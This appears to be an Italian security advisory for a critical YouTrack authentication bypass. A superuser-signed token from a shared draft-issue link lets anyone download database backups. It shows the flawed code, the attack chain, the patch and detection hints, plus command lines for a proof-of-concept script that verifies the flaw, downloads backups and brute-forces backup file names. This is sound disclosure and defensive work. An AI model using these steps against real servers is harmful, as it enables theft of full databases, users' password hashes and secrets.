
CVE-2026-75045 - Download non autenticato del backup del database in JetBrains YouTrack tramite firma condivisa delle bozze (CVSS 9.1)
Stato: PoC ricostruito nell'ambito della ricerca sulle vulnerabilità; al momento non esisteva alcun exploit pubblico. Segnalatore originale: Hieu Nguyen (segnalato a JetBrains, corretto il 2026-08-17/18).
| Prodotto | JetBrains YouTrack (Server self-hosted) |
| Affette | Tutte le build precedenti a 2025.3.156085, 2026.1.13913, 2026.2.18112 |
| Tipo | CWE-288 — Bypass dell'autenticazione tramite percorso o canale alternativo |
| CVSS 3.1 | 9.1 Critico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Post-sfruttamento | Dump completo del database: tutte le issue, i progetti, gli utenti (hash delle password, segreti), gli allegati, le impostazioni |
| CISA KEV | No; EPSS basso; nessuno sfruttamento in the wild registrato |
EntitySigningService (youtrack-application) emette token URL nella forma:
token = base64url( timestamp | userXdId | entityId | sig )
sig = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
user.secret — segreto per utente (XdUser implementa SecretProviderEntity);SecretProviderEntity con un proprio segreto, questo viene aggiunto al salt;parseSign(token, type) cerca l'utente per id, cerca l'entità tramite entityId,
ricalcola SHA-256 e confronta, quindi verifica now > timestamp → "link expired".Critico: la ricerca dell'entità passa attraverso PersitenceExtensionsKt.tryFindById → xodus-dnq
IdsKt.findById:
fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
val session = store.session
val entity = session.getEntity(session.toEntityId(xdId)) // raw store id
return entity.toXd() as T // type NOT checked
}
Il parametro type viene ignorato — qualsiasi entità con quello store-id viene restituita, convertita nel tipo richiesto. La firma viene comunque validata perché è calcolata dagli stessi campi (timestamp, id utente, id entità, secret utente).
Quando una bozza di issue viene "condivisa" con una persona esterna, XdIssueExtKt.getUrl costruisce il link:
if (issue.isDraft) {
res = "$baseUrl/newIssue?draftId=${issue.entityId}"
if (issue.secret != null) // draft marked as "shared"
res += "&sign=" + signing.newSign(
XdDraftOwnerUser.Companion.get(), // <- signer
issue,
SignatureDuration.WORKFLOW) // ~14 days
}
XdDraftOwnerUser è un superuser interno:
@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
// login = "draft_owner_" + Math.abs(new Random().nextInt());
// password is randomly generated — cannot log in with it,
// but runAs() from the signature uses its identity directly
}
In sintesi: ogni destinatario di un link /newIssue?draftId=177-5&sign=<token> possiede
un token che incorpora un superuser, valido per 14 giorni, e il link è progettato
per persone senza un account.
Gli archivi di backup vengono serviti tramite link firmati:
GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
// SOLE authentication — signature check:
user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
runAs(user) { // <- principal becomes the token's user
assertAccess(file); // hasPermission(user, ADMIN_READ_APP)
backupFile = backupFolder.getBackupFile(file);
// ... stream the archive
}
}
private void assertAccess(String file) {
if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
throw new ForbiddenException(...); // superuser passes
if (file contains '/' or '\\') throw NotFound; // path traversal blocked
}
Catena di attacco:
parseSign(token, XdDatabaseBackupConfig): viene trovato l'utente draft_owner_*;
l'entità per store-id viene trovata (è una bozza di issue, ma il tipo non viene
controllato); SHA-256 corrisponde; non sono trascorsi 14 giorni → il token è valido.runAs(XdDraftOwnerUser) → assertAccess vede il superutente → OK.YYYY-MM-DD-HH-MM-SS.tar.gz (ora locale del server; dopo un download riuscito
il token viene bruciato in expiredTokens fino al riavvio del server).BackupFileResource non è stato modificato. Modifiche in EntitySigningService:
extractInfo: entityId == "null" ora viene rifiutato (in precedenza i token con
entity=null venivano accettati per qualsiasi endpoint);newSign(user, entity, ...) — entity è diventato @NotNull;tryFindByIdOfType — l'entità trovata viene verificata per l'appartenenza al
tipo richiesto (getEnclosingEntityClass);emailBound e l'overload parseSign(token, vararg types) —
il token è vincolato a un elenco di tipi di entità consentiti.Ora un token di bozza sull'endpoint dei backup → MalformedSignatureException → 403.
poc_cve_2026_75045.py (solo stdlib). Solo per istanze di tua proprietà o per cui hai
esplicito permesso scritto di test.
# Non-destructive check (downloads nothing):
# 404 on a nonexistent file = token accepted = vulnerable
# 403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--sign "<sign from shared draft link>" --i-am-authorized
# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized
# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz
# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
--times 03:00,22:30 --spread 60 --delay 0.3
Output previsto in modalità verify su un server vulnerabile:
[*] Control (forged token): HTTP 403
[*] Probe (draft token) : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.
GET /api/admin/backups/<file>?sign=... senza cookie/Authorization,
soprattutto da IP esterni; una risposta HTTP 200 su quel percorso è un incidente.sign valido su /api/admin/backups/ indicano tentativi di sfruttamento/scansione./newIssue?draftId=...&sign=....